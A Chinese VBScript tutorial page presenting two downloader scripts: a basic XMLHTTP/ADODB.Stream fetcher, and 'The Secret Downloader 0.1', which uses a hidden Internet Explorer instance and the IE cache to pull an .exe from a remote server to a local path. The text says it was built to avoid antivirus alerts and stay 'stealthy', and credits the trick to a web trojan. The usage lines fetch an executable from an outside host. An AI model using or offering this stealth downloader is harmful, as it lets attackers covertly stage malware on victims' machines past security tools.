当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 使用vbs下载文件的代码加强版

VBScript
用vbs脚本来关闭 HTML 页面的代码
用vbs实现确定是否安装了某个特定的补丁
用vbs确定用户的登录名的代码
用vbs找到映射到共享的所有驱动器并重新映射它们
可以从一台远程服务器运行 SP2 安装程序Install.vbs
用vbs判断一个日期是否在指定的时段内
vbs+hta中实现在单个 onClick 参数中包括多个子例程的代码
vbs中实现启动两个应用程序,一直等到其中一个程序结束,然后关闭另一个?
用vbs实现对文本文件中的项计数
用vbs对文本文件的内容进行排序
用vbscript把 Word 文档保存为文本文件的代码
用vbs返回 Internet Explorer 的下载控件和 Applet 的列表
用vbscript合并多个文本文件的代码
用vbscript防止本地用户更改其密码
用vbs针对一个 IP 地址范围运行脚本
用vbs 实现从剪贴板中抓取一个 URL 然后在浏览器中打开该 Web 站点
使用vbscript脚本在表单中进行选择的代码
一个把任何文件转成批处理的vbs脚本Any2Bat.vbs
windows脚本调试howto的方法
注册表的禁用与解锁方法集合

VBScript 中的 使用vbs下载文件的代码加强版


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 49 ::
收藏到网摘: n/a

说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码:
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
那么,有没有更好的方法呢?答案很明显:-)
我们可以利用一个叫InternetExplorer.Application的对象(其实就是个IE啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
为了让IE把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,IE临时文件的位置可以从注册表键值 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory 中读取。
好了,不废话,看代码:
'=============================
' get.vbs
' by lake2
'=============================
If WScript.Arguments.Count <> 3 Then
WScript.Echo ""
WScript.Echo "======= The Secret Downloader 0.1 ================"
WScript.Echo " by lake2 "
WScript.Echo "Usage: CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:\520.exe"
WScript.Echo "=================================================="
WScript.Quit
End If
URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
tmp = Left(exeName,InStrRev(exeName, ".")-1)
tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)
set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL
WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file ..."
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail :("
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
WScript.Echo "[+]Download Success !"
WScript.Quit
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub
使用方法:
1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>
2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径
例子:CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe
PS:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_-